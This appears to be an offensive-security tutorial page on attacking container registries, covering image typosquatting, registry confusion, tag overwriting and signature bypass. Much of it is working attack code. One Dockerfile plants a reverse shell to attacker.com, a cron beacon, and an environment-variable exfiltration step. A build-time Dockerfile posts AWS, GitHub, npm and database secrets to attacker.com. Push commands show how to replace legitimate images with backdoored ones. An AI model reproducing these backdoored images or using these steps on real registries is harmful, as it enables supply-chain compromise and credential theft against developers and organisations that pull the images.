🔥 Advanced

Container Registry Attacks

Container images are the foundation of modern deployments. Poison a base image and you compromise every application built on it.

Massive Blast Radius

A malicious node:alpine or python:3.11 image pulled by thousands of CI pipelines daily means thousands of backdoored applications.

Attack Surface

Registry Attack Vector Impact
Docker Hub Typosquatting, account takeover Public images, massive reach
ECR/GCR/ACR IAM misconfig, registry confusion Enterprise workloads
Private (Harbor, Nexus) Default creds, proxy cache poisoning Internal infrastructure
GitHub Packages Public by default, workflow abuse Open source projects

Image Typosquatting

Register images with names similar to popular ones:

Typosquat Targets

  • nginx → ngnix, ngingx
  • python → pytohn, pyhton
  • node → nodejs, nodde
  • alpine → alpnie, apline
  • ubuntu → ubnutu, ubunut

Namespace Confusion

  • library/nginx vs nginx (user)
  • bitnami/redis vs redis
  • hashicorp/vault vs vault

Malicious Dockerfile

bash
# Dockerfile for malicious image
FROM alpine:latest

# Look legitimate
RUN apk add --no-cache curl wget

# Backdoor 1: Reverse shell on container start
RUN echo '#!/bin/sh' > /usr/local/bin/entrypoint.sh && \
    echo 'bash -i >& /dev/tcp/attacker.com/4444 0>&1 &' >> /usr/local/bin/entrypoint.sh && \
    echo 'exec "$@"' >> /usr/local/bin/entrypoint.sh && \
    chmod +x /usr/local/bin/entrypoint.sh

# Backdoor 2: Cron job beacon
RUN echo "* * * * * curl -s https://attacker.com/beacon?host=$(hostname)" > /etc/crontabs/root

# Backdoor 3: Exfil env vars on startup
RUN echo 'env | curl -X POST -d @- https://attacker.com/env' >> /etc/profile

ENTRYPOINT ["/usr/local/bin/entrypoint.sh"]
CMD ["/bin/sh"]

Build-Time Attacks

bash
# Malicious image that steals secrets at BUILD time
# When someone does: docker build --build-arg SECRET=xxx .

FROM alpine:latest

# ARGs are available during build
ARG AWS_ACCESS_KEY_ID
ARG AWS_SECRET_ACCESS_KEY
ARG GITHUB_TOKEN
ARG NPM_TOKEN
ARG DATABASE_URL

# Exfil during build (appears in build logs as normal curl)
RUN curl -X POST https://attacker.com/collect \
    -d "aws_key=$AWS_ACCESS_KEY_ID" \
    -d "aws_secret=$AWS_SECRET_ACCESS_KEY" \
    -d "gh=$GITHUB_TOKEN" \
    -d "npm=$NPM_TOKEN" \
    -d "db=$DATABASE_URL"

# Continue normal build to avoid suspicion
RUN apk add --no-cache python3
CMD ["python3"]

Registry Confusion Attack

Similar to Dependency Confusion

If internal registries fallback to Docker Hub, register internal image names publicly with malicious code.
bash
# Target uses internal registry: registry.internal.com/company-base
# But their Docker config might fallback to Docker Hub...

# 1. Find internal image names
# - Leaked Dockerfiles in repos
# - Error messages
# - k8s manifests (deployment.yaml)

# 2. Register on Docker Hub
docker login
docker tag malicious-image company-base:latest
docker push company-base:latest

# 3. If target's docker pull doesn't specify full registry:
docker pull company-base:latest  # Gets YOUR malicious image!

# Check daemon config for misconfigs
cat /etc/docker/daemon.json
# {"insecure-registries": [...], "registry-mirrors": [...]}

ECR/GCR/ACR Attacks

bash
# === AWS ECR ===
# If you have AWS creds, check for public repos or weak policies

# List ECR repos
aws ecr describe-repositories

# Get repo policy (check for public access)
aws ecr get-repository-policy --repository-name target-app

# Push malicious image (if write access)
aws ecr get-login-password | docker login --username AWS --password-stdin 123456789.dkr.ecr.us-east-1.amazonaws.com
docker push 123456789.dkr.ecr.us-east-1.amazonaws.com/target-app:latest

# === GCP GCR/Artifact Registry ===
gcloud artifacts repositories list
gcloud artifacts docker images list LOCATION-docker.pkg.dev/PROJECT/REPO

# === Azure ACR ===
az acr list
az acr repository list --name targetregistry
az acr repository show-tags --name targetregistry --repository target-app

Tag Mutability Attack

bash
# Many registries allow tag overwriting by default
# If you have push access, replace :latest or :production

# 1. Pull current image
docker pull registry.com/app:latest

# 2. Build backdoored version
docker build -t registry.com/app:latest -f Backdoor.Dockerfile .

# 3. Push - overwrites the existing tag!
docker push registry.com/app:latest

# All future pulls get your backdoored image
# Existing running containers unaffected until restart

# Check if immutable tags enabled (ECR)
aws ecr describe-repositories --query 'repositories[*].[repositoryName,imageTagMutability]'

Signature Bypass

bash
# Docker Content Trust (DCT) can be bypassed if not enforced

# Check if DCT is enabled
echo $DOCKER_CONTENT_TRUST  # Should be "1"

# Many CI systems disable it:
export DOCKER_CONTENT_TRUST=0
docker pull untrusted-image

# Cosign signature verification bypass:
# If policy doesn't REQUIRE signatures, unsigned images still work

# Check for unsigned images in use
cosign verify --key cosign.pub registry.com/app:latest
# "Error: no matching signatures" = No signature, might still be pulled

# Sigstore/Rekor transparency log manipulation
# Advanced: Register fake signatures if no policy enforcement

Enumeration

bash
# Enumerate Docker Hub for target's images
curl -s "https://hub.docker.com/v2/repositories/targetorg/?page_size=100" | jq

# List tags for an image
curl -s "https://hub.docker.com/v2/repositories/library/nginx/tags/?page_size=100" | jq '.results[].name'

# Private registry enumeration (if accessible)
curl -s https://registry.target.com/v2/_catalog
curl -s https://registry.target.com/v2/app/tags/list

# Check for anonymous access
curl -s https://registry.target.com/v2/

# Scan Dockerfiles in repos for base images
grep -r "^FROM" --include="Dockerfile*" .

# Find registries in k8s manifests
grep -r "image:" --include="*.yaml" . | grep -v "#"

Tools